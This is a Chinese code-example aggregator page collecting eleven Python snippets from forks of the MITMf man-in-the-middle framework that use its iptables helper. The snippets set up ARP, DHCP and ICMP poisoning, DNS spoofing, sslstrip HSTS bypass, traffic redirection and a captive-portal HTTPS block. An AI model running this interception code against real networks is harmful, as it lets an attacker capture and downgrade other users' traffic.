当前位置: 首页>>代码示例>>Python>>正文


Python utils.iptables方法代码示例

本文整理汇总了Python中core.utils.iptables方法的典型用法代码示例。如果您正苦于以下问题:Python utils.iptables方法的具体用法?Python utils.iptables怎么用?Python utils.iptables使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在core.utils的用法示例。


在下文中一共展示了utils.iptables方法的11个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: captive_dns

# 需要导入模块: from core import utils [as 别名]
# 或者: from core.utils import iptables [as 别名]
def captive_dns(self, iface):
        #TODO: utilize nfqueue with reactor
        #  see https://github.com/DanMcInerney/dnsspoof/blob/master/dnsspoof.py
        #  see http://danmcinerney.org/reliable-dns-spoofing-with-python-scapy-nfqueue/
        #  see http://danmcinerney.org/reliable-dns-spoofing-with-python-twisting-in-arp-poisoning-pt-2/
        """
        os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')

        nfqueue = NetfilterQueue()
        nfqueue.bind(1, self.modify)
        nfqueue.run()
        """

        #TODO: restrict filter
        sniff(filter="udp and port 53", prn=self.dns_callback, iface=iface) 
开发者ID:camelinc,项目名称:MITMf-captive-portal,代码行数:17,代码来源:Portal.py

示例2: on_shutdown

# 需要导入模块: from core import utils [as 别名]
# 或者: from core.utils import iptables [as 别名]
def on_shutdown(self):
        '''This will be called when shutting down'''
        from core.utils import iptables
        iptables().flush()
        #FIXME: add forwarding rules if we are an access point

        pass 
开发者ID:camelinc,项目名称:MITMf-captive-portal,代码行数:9,代码来源:Portal.py

示例3: _block_traffic

# 需要导入模块: from core import utils [as 别名]
# 或者: from core.utils import iptables [as 别名]
def _block_traffic(self):
        self.log.debug("Setting up iptables")
        #TODO: limit to target IPs
        os.system('iptables -t filter -I FORWARD -p tcp --destination-port 443 -j REJECT') 
开发者ID:camelinc,项目名称:MITMf-captive-portal,代码行数:6,代码来源:Portal.py

示例4: on_shutdown

# 需要导入模块: from core import utils [as 别名]
# 或者: from core.utils import iptables [as 别名]
def on_shutdown(self):
        from core.utils import iptables, set_ip_forwarding

        for protocol in self.protocol_instances:
            if hasattr(protocol, 'stop'):
                protocol.stop()

        if self.sniffer:
            self.sniffer.kill()

        iptables().flush()

        set_ip_forwarding(0) 
开发者ID:dropnz,项目名称:mitmfnz,代码行数:15,代码来源:spoof.py

示例5: initialize

# 需要导入模块: from core import utils [as 别名]
# 或者: from core.utils import iptables [as 别名]
def initialize(self, options):
        self.options = options

        from core.sslstrip.URLMonitor import URLMonitor
        from core.servers.DNS import DNSChef
        from core.utils import iptables

        if iptables().dns is False and options.filter is False:
            iptables().DNS(self.config['MITMf']['DNS']['port'])

        URLMonitor.getInstance().setHstsBypass()
        DNSChef().setHstsBypass() 
开发者ID:dropnz,项目名称:mitmfnz,代码行数:14,代码来源:sslstrip+.py

示例6: on_shutdown

# 需要导入模块: from core import utils [as 别名]
# 或者: from core.utils import iptables [as 别名]
def on_shutdown(self):
        from core.utils import iptables
        if iptables().dns is True:
            iptables().flush() 
开发者ID:dropnz,项目名称:mitmfnz,代码行数:6,代码来源:sslstrip+.py

示例7: on_shutdown

# 需要导入模块: from core import utils [as 别名]
# 或者: from core.utils import iptables [as 别名]
def on_shutdown(self):
        from core.utils import iptables, set_ip_forwarding

        for protocol in self.protocol_instances:
            if hasattr(protocol, 'stop'):
                protocol.stop()

        iptables().flush()

        set_ip_forwarding(0) 
开发者ID:paranoidninja,项目名称:piSociEty,代码行数:12,代码来源:spoof.py

示例8: initialize

# 需要导入模块: from core import utils [as 别名]
# 或者: from core.utils import iptables [as 别名]
def initialize(self, options):
        self.options = options

        from core.sslstrip.URLMonitor import URLMonitor
        from core.servers.DNS import DNSChef
        from core.utils import iptables

        if iptables().dns is False:
            iptables().DNS(self.config['MITMf']['DNS']['port'])

        URLMonitor.getInstance().setHstsBypass()
        DNSChef().setHstsBypass() 
开发者ID:ParrotSec,项目名称:mitmf,代码行数:14,代码来源:sslstrip+.py

示例9: initialize

# 需要导入模块: from core import utils [as 别名]
# 或者: from core.utils import iptables [as 别名]
def initialize(self, options):
        self.options       = options
        self.ip            = options.ip
        self.mon_interface = options.interface

        #Table for clients not beeing captured
        self.dtable        = {}
        self.portal_ip     = '127.0.0.1'
        self.portal_url    = False
        self.portal_dns    = False
        self.portal_html   = ''

        #TODO: IETF Captive-Portal Identification in DHCP: https://tools.ietf.org/html/draft-wkumari-dhc-capport-16

        if options.portaltemplate:
            self.portal_html = self.parse_template(options.portaltemplate)

        elif options.portalurl:
            #parse url 
            try:
                self.portal_url = urlparse(options.portalurl)
                self.log.debug("Captival portal at {}".format(self.portal_url))
            except Exception, e:
                sys.exit("[-] Error parsing portal url: %s" % e)

            # get portal url ip address
            self.log.debug("Captival portal at {}".format(self.portal_url.hostname))
            try:
                self.portal_ip = socket.gethostbyname(self.portal_url.hostname) #TODO: better method, scapy?
            except socket.gaierror, e:
                sys.exit("[-] Portal cannot resolve hostname: {}".format(e))

            if options.portaldns:
                #TODO: if options.portaldns
                t2 = threading.Thread(name='captive_dns_thread', target=self.captive_dns, args=(self.mon_interface,))
                t2.setDaemon(True)
                t2.start()
        else:
            sys.exit("[-] Portal requires portal url or portal template")

        #running on an access point
        from core.utils import iptables
        if iptables().http is False and options.filter is None:
            iptables().HTTP(options.listen_port)

            #Setup iptables to block all not allowed traffic
            self._block_traffic() 
开发者ID:camelinc,项目名称:MITMf-captive-portal,代码行数:49,代码来源:Portal.py

示例10: initialize

# 需要导入模块: from core import utils [as 别名]
# 或者: from core.utils import iptables [as 别名]
def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options            = options
        self.protocol_instances = []

        from core.utils import iptables, shutdown, set_ip_forwarding
        #Makes scapy more verbose
        debug = False

        if options.arp:
            if not options.gateway:
                shutdown("[Spoof] --arp argument requires --gateway")

            from core.poisoners.ARP import ARPpoisoner
            arp = ARPpoisoner(options)
            arp.debug = debug
            self.tree_info.append('ARP spoofing enabled')
            self.protocol_instances.append(arp)

        elif options.dhcp:
            from core.poisoners.DHCP import DHCPpoisoner

            if options.targets:
                shutdown("[Spoof] --targets argument invalid when DCHP spoofing")

            dhcp = DHCPpoisoner(options)
            dhcp.debug = debug
            self.tree_info.append('DHCP spoofing enabled')
            self.protocol_instances.append(dhcp)

        elif options.icmp:
            from core.poisoners.ICMP import ICMPpoisoner

            if not options.gateway:
                shutdown("[Spoof] --icmp argument requires --gateway")

            if not options.targets:
                shutdown("[Spoof] --icmp argument requires --targets")

            icmp = ICMPpoisoner(options)
            icmp.debug = debug
            self.tree_info.append('ICMP spoofing enabled')
            self.protocol_instances.append(icmp)

        if options.dns:
            self.tree_info.append('DNS spoofing enabled')
            if iptables().dns is False and options.filter is None:
                iptables().DNS(self.config['MITMf']['DNS']['port'])

        if not options.arp and not options.icmp and not options.dhcp and not options.dns:
            shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns")

        set_ip_forwarding(1)

        if iptables().http is False and options.filter is None:
            iptables().HTTP(options.listen_port)

        for protocol in self.protocol_instances:
            protocol.start() 
开发者ID:paranoidninja,项目名称:piSociEty,代码行数:61,代码来源:spoof.py

示例11: initialize

# 需要导入模块: from core import utils [as 别名]
# 或者: from core.utils import iptables [as 别名]
def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options            = options
        self.protocol_instances = []

        from core.utils import iptables, shutdown, set_ip_forwarding
        #Makes scapy more verbose
        debug = False

        if options.arp:
            if not options.gateway:
                shutdown("[Spoof] --arp argument requires --gateway")

            from core.poisoners.ARP import ARPpoisoner
            arp = ARPpoisoner(options)
            arp.debug = debug
            self.tree_info.append('ARP spoofing enabled')
            self.protocol_instances.append(arp)

        elif options.dhcp:
            from core.poisoners.DHCP import DHCPpoisoner

            if options.targets:
                shutdown("[Spoof] --targets argument invalid when DCHP spoofing")

            dhcp = DHCPpoisoner(options)
            dhcp.debug = debug
            self.tree_info.append('DHCP spoofing enabled')
            self.protocol_instances.append(dhcp)

        elif options.icmp:
            from core.poisoners.ICMP import ICMPpoisoner

            if not options.gateway:
                shutdown("[Spoof] --icmp argument requires --gateway")

            if not options.targets:
                shutdown("[Spoof] --icmp argument requires --targets")

            icmp = ICMPpoisoner(options)
            icmp.debug = debug
            self.tree_info.append('ICMP spoofing enabled')
            self.protocol_instances.append(icmp)

        if options.dns:
            self.tree_info.append('DNS spoofing enabled')
            if iptables().dns is False:
                iptables().DNS(self.config['MITMf']['DNS']['port'])

        if not options.arp and not options.icmp and not options.dhcp and not options.dns:
            shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns")

        set_ip_forwarding(1)

        if iptables().http is False:
            iptables().HTTP(options.listen_port)

        for protocol in self.protocol_instances:
            protocol.start() 
开发者ID:ParrotSec,项目名称:mitmf,代码行数:61,代码来源:spoof.py


注:本文中的core.utils.iptables方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。